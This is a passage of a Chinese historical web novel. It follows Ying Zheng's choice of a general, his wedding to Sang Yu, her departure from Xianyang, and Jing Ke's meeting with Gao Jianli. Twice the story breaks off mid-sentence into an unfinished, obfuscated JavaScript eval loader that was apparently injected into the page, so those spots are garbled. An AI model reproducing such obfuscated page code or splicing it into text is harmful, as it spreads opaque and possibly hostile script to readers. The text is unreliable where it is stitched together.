蒙毅将思绪从回忆中拉回,抬眼望向嬴政,说道:“君上,逃避终究不是解决问题的办法。” 这句话勾起了嬴政的烦心事,他闭眼揉了揉眉间,“老将军在世时,可曾提起过他心中的人选?” 蒙毅的眉眼微微一沉,却不答话。 嬴政也不逼他立刻回答,只是起身踱步到窗前,望向天上明月。 蒙骜为秦国征战一生,功勋卓著,然而如今尸骨未寒,便已有无数暗中的目光贪婪地注视着他留下的空缺。嬴政清楚地知道,这对于他而言是个极其重要的选择,甚至影响着他日后的亲政之路。 吕不韦话里话外的意思,是推举蒙武继任其父上将军之职。而楚系外戚所推举的,是将军樊於期。最让他头疼的是,他的母后自雍城来信,亦有所举荐之人。 蒙毅这时终于开口了,“大父的确有言,他说,若是出于私心,他当然希望我阿翁可以延续蒙氏一族的荣耀。但若论带兵打仗,王翦将军是不二之选。” “王翦?” 蒙毅颔首说道:“大父在世之时,曾预言君上定会垂询此事,并且交代于臣,若君上真有此一问,务必转达其话。王翦将军,并非蛮攻硬杀之辈,而是深谙兵法、擅长以智取胜之将才。大父满心期许,望君上能慧眼识珠,委以重任,使王翦将军之才华得以尽展。” 嬴政默了许久,随后抬袖拱手,恭敬地对着明月深深一拜。 “老将军为了大秦,鞠躬尽瘁!寡人……真是无以为报啊!” 蒙毅正打算起身告辞,突然感觉到有什么东西在拽他的衣服,他低头一看,原来是一只小黄狗在咬他的袖摆。 蒙毅讶然问道:“君上何时养了一只小狗?” 嬴政走上前,弯腰抱起小黄,“是桑语今日偶然遇见的,她还给它取名为‘小黄’。” 蒙毅若有所思地看向小黄,缓缓开口问道:“君上当真想好了?” “嗯!” 嬴政轻轻抚摸着小黄狗的毛发,小黄则乖巧地蜷缩在他的臂弯中。 “能两情相悦,已是难得。至于将来如何,寡人不敢有过多的奢望。” 翌日黎明,桑语从睡梦中醒来,恰有宫人前来禀报,说是秦王政已经先行回城。用过早膳之后,桑语与嬴嫒亦是登车启程,前者径直回了太卜署,而嬴嫒则往章台宫去了。 嬴政刚刚结束了廷议,尽管讨论再次以分歧告终,但他的神情却异常平静。一进寝殿,他就看到了嬴嫒,随口问道:“你怎么不回自己的寝宫?” 嬴嫒双手撑着脑袋,眨巴着眼睛道:“王兄,桑语已经答应会经常陪我切磋武艺了。” 嬴政拿起竹简轻敲她的脑袋,“你偷偷跑去战场的事,倘若被母后知晓,她定又要责备于我了。蒙恬竟然还纵容你的任性,胆敢与你一同对我隐瞒实情。” 嬴嫒撇了撇嘴,“古有妇好征战沙场,我大秦女子为何不能提剑上战场?” “并非能或不能之事,而是母后与大母不答应!”嬴政说着,在案边坐下,“若是你真想上战场,王兄定会助你。但是,你不可再欺瞒于王兄。” 嬴嫒闻言,不禁喜出望外。她兴奋地跳上前,搂住兄长的脖子,“还是王兄最好!将来我一定会活擒敌军的主将,给王兄你长脸!” “好,王兄期待着你立下赫赫战功的那一天。”嬴政说着,将她的胳膊从自己的脖颈间拉开。 外间的门扉轻响,宫人抬进来一箱竹简。 嬴嫒伸手拿起一卷,缓缓打开,上面密密麻麻写着字。她并没有细看内容,只看了看上面的朱砂字。 她重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嬴嫒沉思片刻,眼中闪过一丝忧虑,“我与苍鹘之女仅仅有过一面之缘,并不熟稔,然而苍鹘生性刚直不阿,其女定然秉承此性格。王兄,你这样许配婚事,是不是太害人了?” 嬴政没有再多言,只是说道,“此事我当再三斟酌。” 桑语在黄昏时分回到小院,并未进去,而是在院门口驻足良久。终于,院门吱呀一声轻响,椿儿探出脑袋,一脸惊讶,“阿姊,你何时回来的?这两天你去哪儿了?” 桑语并未直接回答这个问题,而是伸手指向院门,问道:“椿儿,你有没有觉得这里有点儿空? 椿儿困惑地走出门来,抬头往上一看,“经阿姊这么一说,我也觉得好像少了些什么。” “是的,少了一个木匾。”桑语说着,步入小院,从杂物间里挑选出了一块木牌,随后又从房中取出笔墨。她将木牌平放在石桌上,椿儿她们好奇地围了过来。 桑语笑着问道:“我们在此处已经住了大半年了,却还未为这个小院取个名字呢。你们有什么想法吗?” 三人皆是认真地想了想,椿儿提议道:“不如,就取名为‘玄女院’吧!” 阿九带着一丝玩笑,在旁边否定道:“椿儿,你该不会是觉得我们的小院太过冷清,希望有更多访客来吧?” 椿儿亦是笑道,“这个名字,的确不大合适。” 迟迟温声开口道:“阿姊姓桑,不如取名为‘桑梓院’罢。” 桑语一时没有好的想法,遂采取了迟迟的建议,大笔一挥,在木牌上写下了“桑梓”二字,随后便让迟迟和椿儿将此木牌悬挂出去。 桑语转而向阿九问道:“怎么不见竺月?” 阿九答道:“她上街去了。” 桑语微微颔首,继续问道:“你去过她家了吗?” “昨日已经去过了,的确看起来是家徒四壁。” “可曾发现什么可疑之处?” 阿九认真地说道:“阿姊,你曾经说过,有时候,越是没有可疑之处,越是可疑。” 桑语闻言,嘴角勾起一抹笑意:“阿九,你如今真是长大了。即便日后我不在你们身边,我也能安心了。” 阿九立刻捕捉到桑语话语中的不同寻常,急忙询问:“阿姊,你此言何意?你是打算离开我们了吗?” 桑语轻叹一声,“天下无不散的筵席。若有一天我必须离去,我会请求秦王,让他允许你们返回玄女山。那时,玄女山的安危,便托付于你们了。” 41. 第 41 章 五月末时,彗星移至西方天际,此后一度消失,直至六月中旬,它又再度在西方出现了。 因着先前桑语在城楼上演的那一出,地上的百姓们对此天文异象并未给予过多的关注。他们的心思全然聚焦于更为紧迫之事——夏种,毕竟,解决温饱之需,永远是首要的。 国人坊区尽头的一处院落,忽然挂起了红绸。过往的行人无不好奇地回头望上几眼。与这满院的红绸形成鲜明对比的,却是院内异乎寻常的冷清,很难不让人心生疑惑。 天将黑未黑之时,一辆装饰朴素的轺车缓缓停驻于那院落之前。车门轻启,一位年轻女子款步而出,她的脸轻纱遮掩着,旁人无法看清她的容貌。 敲门几下,门便从里面打开了。女子往四周看了一眼,然后步入院中,随后院门悄然关闭。 到了里院,踏着一路荷花香,她径直走向水榭。有微风轻拂,竹帘缓缓摆动,帘后人的身影若隐若现。 “你们来得真早啊!我这个做小姑的,是不是来迟了?”嬴嫒边摘下脸上的轻纱边笑着说。尽管她的人还在竹帘之外,声音却已越过竹帘传了进去。 目光流转间,她看见了老太卜,便站住脚行了个礼。当下老太卜亦是起身,以拱手之礼回应。 嬴嫒在甘罗的右侧落座,问道:“王兄此刻在何处?” 甘罗回答道:“他方才还在此处,不过被巽急匆匆地唤走了。” “我嫂嫂呢?” “她应该正在换婚服。”吕思远答道,随即站起身来,“我去看看准备得如何了,吉时不可错过。” 他说着,便快步离开了水榭。六月的季节,蝉鸣已经开始叫嚣,聒噪得让人心烦。 穿过一座拱门,眼前豁然开朗,是一处小花园,极为清幽。花木扶疏间,隐约可见屋檐一角。 吕思远缓缓走近,并未看到秦王政的身影,他看了眼紧闭的房门,慢慢地伫立了脚步。他将手背在身后,手指不自觉地轻轻搓动着。 须臾之后,一阵清脆的门轴转动声打破了周围的宁静,吕思远的心骤然跳了几下。他抬眼望去,眼中瞬间闪过一抹难以言喻的异彩。他自己也分不清楚,那是惊喜,还是心痛。 桑语笑吟吟地,亭亭玉立于门扉之内。红烛的微光映照在她身上,宛如一朵灼灼盛开的牡丹,神秘而又美艳。 桑语扶了扶脑袋上沉甸甸的发冠,笑问道:“现在什么时辰了?”吕思远默了少顷,“阿桑,暂且让宫人们先退下吧,我有些话,想与你单独谈谈。” 桑语眼睫轻动,说了声“好”,扭头对屋内说道:“两位姑娘,麻烦你们先出去一下。” 为她梳妆的两名宫人闻言,连忙应了声“诺”,轻脚轻手地退了出去。 桑语略略侧过身,目光望向门外,“进来说话吧。” 吕思远步入屋内,目光所及,皆是秦王政为这场婚礼所倾注的心思。墙面重新刷过,是以花椒拌泥涂刷。大红的蜡烛火光摇曳,映照着墙上那醒目的“喜”字。 桑语率先打破了沉默,“你有什么要与我说的?” 吕思远将目光从那大红的“喜”字上移开,转向了桑语,“阿桑,你究竟是在何时,适应了咸阳城的生活?” “我并未习惯,而是让步。” “让步?阿桑,这可不是你的性子。” “我的性子?”桑语闻言呵呵地笑了,笑得眼中噙着泪花,“自从我来到玄女山,我便在不断地让步与妥协。姜辂,你知道吗,我心中始终觉得,我自己是幸运的。我不属于这里,所以我一直很孤独。但是,我有你,有阿九阿五,还有椿儿她们,我又好像并不是孤独。” 她抬起沉重的袖子,看向袖口处繁复精致的金丝刺绣,“我从小就是个听话的人,但偶尔也想任性一下。” “见到满目的红绸,我本来是想拒绝的,但想到他为这一天付出的心血与等待,我终究还是不忍拂了他的意。” 她低头絮絮地说着,眉宇间流露着幸福。吕思远突然觉得鼻子很酸,他转过身去,旋即又转回来:“你既然已经决定了,我永远相信你的决定。” 他缓缓走上前,张开双臂,将她拥入怀里,“阿桑,你与我,永远是莫逆之交。” “嗯!朋友!”桑语的声音有些哽咽,她抬起手,轻拍吕思远的后背。 六月酉日,是秦人眼中的嫁娶吉日。 吉时已至,没有鼓乐喧天,院中的红灯笼亮起,嬴政身着庄重的玄衣纁裳,在挚友的簇拥下,缓步进入了椒房。 热烈而纯粹的红色,平日里可能显得俗艳,如今堆砌在一起,却只觉得温暖和喜庆。 “新妇来了!” 赢嫒扶着桑语的胳膊,二人缓缓从内室中步出。桑语身着丝衣纁袡,手执羽扇遮面,款步轻移。 嬴政的目光,犹如被无形之线牵引,始终未曾离开过新妇一寸。他的眼眸中仿佛有星河在流转,唇边勾勒出的笑意愈发深邃,有无尽的情意荡漾。 老太卜在秦廷之中德高望重,嬴政特地请他占卜出吉时吉日,又请他担任今日昏礼的“司礼者”。 待两位新人站定,老太卜朗声道:“揖。” 嬴政整了整衣冠,随后向桑语深深一揖。桑语不懂这些规矩,隔着薄薄的扇面,看到嬴政向她行揖礼时,属实被吓了一跳。 嬴嫒见状,轻轻地靠近桑语,在她耳旁低声提醒道:“嫂嫂,轮到你行礼了。” 桑语手中拿着羽扇,不便回揖,于是弯腰回礼。 新人互行揖礼后,老太卜再次道:“却扇。” 桑语缓缓地将扇子移开,露出了她的面容。她的双眸羞涩地低垂着,眉梢眼角却透着万般的风情。在特别的浓妆的映衬下,她那白皙的脸庞上淡淡地透着粉晕,红唇如樱桃般艳丽。 嬴嫒从桑语的手中接过羽扇,站到了一旁。桑语伸出手,将手放在嬴政等待已久的掌心中。嬴政只是浅浅地一笑,紧紧捏住她的手。 二人携手并肩走进内室,坐到了榻边。榻上已铺好红色的被褥,周围垂挂着红色的喜帐。 两名宫人上前,其中稍年长的一位手持铜匜,匜中盛满了清水,她仔细地将清水从上而下缓缓淋浇在新人的手上。而另一位年轻的宫人则恭敬地捧着端盘,在下方承接着弃水。 盥洗仪式结束后,嬴嫒从竹编的小箪中取出巾帕,展开巾帕抖动了三次,然后递予嬴政和桑语,让他们各自擦拭双手。随后,嬴嫒坐回软垫之上,待新人擦拭完毕,她再次端起竹箪,起身接过巾帕。 行罢“同牢礼”,饮尽“合卺酒”,嬴政亲手解下桑语头上的许婚之缨,又取过一柄金制剪刀,小心地从两人发间各剪取一束青丝,再以那抹鲜艳的红缨为线,将这两缕发丝紧紧缠绕,交织成结。 桑语凝视着那绾在一起的青丝,忽然想起了那句流传千古的誓言:“结发为夫妻,恩爱两不疑。” 嬴嫒笑着说道:“昏礼至此,圆满礼成。我们也该功成身退,不打扰二位的新婚之夜了。”说着,她挥手示意众人离去,还不忘将门轻轻关上,更不忘向桑语眨了眨眼。 内室骤然安静了,嬴政在渐渐暗下来的光线中看向桑语的脸颊,她因饮了些许酒,面颊泛起了如桃花般的红晕,眼中春水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嬴政无奈地目送这群老友离开,他重新关上房门,走回榻边,再度与他的新妇对面而坐。适才的氛围被突然打断,使得此时两人之间弥漫着一丝尴尬。 桑语低垂了一下眼眸,对嬴政问道:“你可否答应我一个请求?” “你是我的妻子,在我面前,你无需如此客气。无论什么请求,你都可以向我提出来。” “君……嬴政,公主的意义,本不应该在于‘和亲’。如果可以,能否让嬴嫒她自己选择人生,选择自己心仪的夫婿?” 嬴政道:“嫒儿是我的妹妹,我自然希望她能超脱于庸碌的世俗之外,不被那些无形的枷锁所束缚,永远保持那份纯真与快乐。” 他拉过她的手,握在自己的掌心里,继续说道:“在君王家中,亲人往往不过是权力游戏的工具,难逃被牺牲的命运。在这个充满算计的世界里,没有亲情可言,只有冰冷的君臣关系。但嫒儿不同,她拥有着难得的纯真与善良,她是我一直羡慕的人。如果可以,我也希望她能够远离秦宫的是是非非,快乐肆意地活着。” 桑语看着他,眼眸中渐渐泛起了一层薄雾。她轻柔地以手抚触他的脸庞,随后,一个温柔至极的吻轻轻落在了他的唇角,她低语道:“嬴政,实不相瞒,我早已心悦于你!” 他的眼中闪过一丝喜悦,他环住了她的腰肢,微微用力一拉,两人之间的距离瞬间被拉近。 他的唇紧紧地覆上了她的唇。 她初时肩头微颤,随即那抹颤抖化作了无尽的柔情。 月色如水,朦胧而温柔。芙蓉帐暖,满室旖旎…… 42. 高渐离 天色已是黄昏,玫瑰色的霞光之中,憧憧往来的人影变了颜色。桑语站在马前,对前来送行的友人们施了一礼。 嬴嫒不舍地道:“嫂嫂,等你回来以后,我定要赢你一回!” 桑语闻言,微微一笑,“公主,有几句话……” “嫂嫂请说。” “人生如梦,多情多苦。它或许能点缀生活,增添几许色彩,然勿让其成为桎梏。毋需因之困厄,因之伤痕。公主,我希望你,永远如云端上的白鹤,高翔于九霄之上,摆脱尘世纷扰,不囿于俗世情愫。”桑语字斟句酌地叮嘱道。 嬴嫒脸上掠过几丝惆怅,然而瞬息之间便消散无踪。她再次展颜道:“嫂嫂,你放心,你的话我全记下了。你路上当心,一定要早些回来!” “好!”桑语勉强挤出一丝笑容,从阿九手中接过马鞭,迅速翻身上马。知道不能再留恋,她挥鞭驱马,毅然离去。 将要出城门时,桑语便下马步行。她的怀里揣着“验传”,这相当于她在现代社会里的身份证,虽然上面的身份是虚构的,但却能让她在秦国畅通无阻了,不必再担心像商鞅那样被客舍拒之门外。 正当她走出城门的一刹那,她鬼使神差地抬起头,正巧与城楼上的玄衣男人四目相接。 桑语心中霎时涌起无数种情绪,如同乱麻般交织在一起。然后,她冲他露出了一个微笑,并抬起手臂挥了挥手,以示告别。但她很快便转开了视线,不敢再多看他一眼。她相信自己的心志坚定,不会因此而动摇,但那份不舍与难过,偏偏是难以抑制的。 桑语并没有选择直接前往沛地,而是转向了雍城的方向。 与此同时,一条僻静的山道上,一匹骨瘦毛长的老马正以一种不紧不慢的姿态,缓慢地迈着步子往前走着。 背上的骑者拍了拍它的脖子,无奈地催促道:“天要下雨了,再跑快些吧!” 老马打了个响鼻,仿佛在回应他的话语,随之马蹄声渐渐急促,步伐明显加快了。 果然还是下雨了。 好在山林中竟有一户孤零零的人家,屋顶之上,一缕炊烟正袅袅升起。 男子愁雨不歇,只得上前叩门借宿,也无暇考虑这里住的是何许人。 自那简陋的小茅屋中步出的,是个高身量的男子,颊上的胡须长有尺许,衣着虽朴素且略显破旧,但其肩背却如同山岳般挺拔,彰显出不凡之气。 细观其人,不难发现他的岁数并不大,却宛若饱经风霜,双眉间竟流露出一股难以言表的沧桑感。 屋主头戴斗笠,立于篱笆门侧,客气地询问道:“这位壮士,你有何事?” 荆轲抱拳施礼,“雨急路滑,又不见食肆。不知大兄可否容在下暂避风雨?” 屋主审视了荆轲片刻,终是点了点头,将院门打开了:“请进吧!” “多谢兄台!”荆轲牵着马进院中,正欲将马拴在树下,却闻屋主转身言道:“屋后有牛棚,将马拴在牛棚里吧,免得它受雨淋之苦。” 言罢,屋主便转身步入屋内。 荆轲依言行至屋后牛棚,只见一头黄牛正在埋头吃草。他将缰绳拴在牛棚檐下的木柱之上,随后轻拍马背,“老伙计,你可得好好养精蓄锐,明日我们再继续赶路!” 老马低鸣了一声,作为回应。 荆轲径直步入茅屋,四下不见先前的男子,只有一名小姑娘正专心致志地捏着泥巴。正当他有些不知所措之际,屋主已从他身后悄然走来,手中递来一套干净的衣裳:“你身上的衣服已经湿透了,还是换下来为好。” “多谢兄台!”荆轲接过衣物,依屋主所示,进入里屋。 像是瞬间换了天地,房中虽暗,但却摆设精致。榻上锦衾高叠,案上妆奁生辉。不像是山野农户人家,竟像是高门女子的闺阁。 荆轲还是迅速换了衣裳,同时小心地将袖箭妥善藏匿。 他缓步返回厅堂,又只见女孩独自一人在玩耍。荆轲走近小女孩,蹲下身子轻声问道:“小姑娘,你阿翁呢?” 女孩睁大了她那圆溜溜的眼睛,抬头看向荆轲,小手往后院指了指,接着比划了一个吃饭的动作。 “阿翁去做饭了?” 女孩认真地点了点头,继续专注于她手中正在揉捏的泥球。 荆轲沉吟了一下,再次开口:“你阿母呢?” 女孩的手微微一顿,然后缓缓摇头。 意识到自己可能问得不妥,荆轲便不再多言。他从地上剜了一块泥,照着女孩的模样,捏了一个小人儿。 泥人顿时吸引了女孩的注意,她好奇地接过,用两根手指轻轻按了按泥人的胳膊。 荆轲这才发现,女孩的手指似乎有些异样——好像是少了一根指头。 “梦儿,洗手吃饭了!”屋主端着几只陶碗走进来,他递了一碗给荆轲,“只有粗饭相待,还请壮士莫要嫌弃。” 荆轲接过陶碗捧着,由衷地感谢道:“山珍佳肴,皆不及此粥。异日若有机会,荆轲必报一饭之恩。” 屋主闻言,只是淡淡地说:“你不用客气,坐下来吃吧。粥要凉了。” 三人围坐,静静地各自吃着。过了片刻,屋主忽然问道:“壮士自何处而来?” 荆轲头也不抬,平静答道:“咸阳。” 屋主手中的木勺停在了半空,似是压抑着情绪问道:“咸阳近来可有什么新鲜事?” 荆轲没想到他会问起这个问题,心中暗自思量,虽然此人避世于此,却仍心系尘世之事,莫非是因为对故国难以释怀。 然而,他又不禁疑惑,一个秦国之人为何选择隐居于韩国境内? 荆轲的直觉告诉他自己,此人定有一段不凡的过往。 他放下手中的陶碗,思忖片刻后道:“秦国最近倒是有一桩奇事。五月时,蒙骜去世,不久之后,天空中出现了彗星。老将军下葬的那天,玄女显灵,宣称蒙骜不是离世,而是升归仙班了。” “玄女?玄女山的那位山主?” 荆轲微微颔首,“正是那位。” “难道,上天真的选择了秦国?”屋主的声音中夹杂着一丝难以置信的颤抖,他也将陶碗置于一旁。 荆轲能感觉到他似乎在害怕什么,犹豫了片刻,还是开口问道:“敢问大兄是哪国之人?又为何选择隐居于此?这林中可不安全呐,我昨日还瞧见了猛兽出没。” 屋主并未回答,而是从袖中取出一方帕子,细心地为女孩擦拭嘴角,温柔地问道:“梦儿,吃饱了吗?” 梦儿点点头,简单地应了一声“嗯”。 这一幕让荆轲心中大疑,他原以为梦儿无法言语,但现在看来,事情并非如此。 “进屋去玩吧,小心烛火。”屋主耐 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听罢屋主的话,荆轲问道:“敢问兄台尊姓大名?” “在下姓高,名渐离。” 荆轲闻言,略显惊讶地问道:“燕国善击筑者,高渐离?” 高渐离却是自嘲般地一笑,“看来我尚有几分微名,竟能传入荆兄之耳。” “高兄过谦了!天下何人不知君之筑艺?在下今日有幸亲聆雅奏,日后定要好好吹嘘一番了。” 高渐离闻言一笑,却又垂下眼帘,问道:“荆兄自咸阳城而来,接下来有何打算,欲往何方?” 荆轲长叹一声,露出了迷茫的神色,“吾,亦不知。或许,去寻吾君。或许,四海为家。” “听荆兄说话,似乎并非秦人?” “秦人?”荆轲的笑容带着一丝讽刺,他用手拍了拍自己的心口,“吾,乃濮阳人氏,卫人也。” 高渐离听他提及卫国,便沉默了。卫国即将灭亡的命运,早已不是秘事,六国间皆有耳闻,他自然也有所了解。 半响,他才问道:“荆兄入秦,可是为了刺杀那暴虐无道的秦王?” 深山无人,唯有鸟兽作伴。因此,他们交谈时无需太多避忌。 荆轲从地上站起,脚尖轻挑一根树枝,将其拾起,在手中如执剑般挥舞,然后将其狠狠地掷向远处。 “杀了一个秦王,还会有第二个秦王。只杀秦王,于卫国而言,并无什么益处。我之所求,是为卫国谋安生。” 高渐离听后,拊着掌赞道:“荆兄,真乃侠之大者。” 荆轲在月光下长啸一声,心中的郁闷似乎得到了些许宣泄。他转头看向高渐离,问道:“高兄,你身为燕人,却隐居于此,是何缘故?” 高渐离短促地笑了一声:“我是个无用之人,心中唯有避世隐居之念。” “高兄能有如此之言,自非无用之人。”荆轲目光微抬,落在窗棂上那抹细小的剪影上,“高兄,我可否唐突问一句,怎么不见孩子的阿母?” 高渐离亦是看向窗棂,昏黄的光从窗缝中渗出,将梦儿的身影拉得长长的。她就坐在窗边,影子一动不动,甚是乖巧听话。 他的心揪得发痛,缓缓开口:“我并非梦儿的阿翁,或许可以说,梦儿是个被遗弃的孩子。”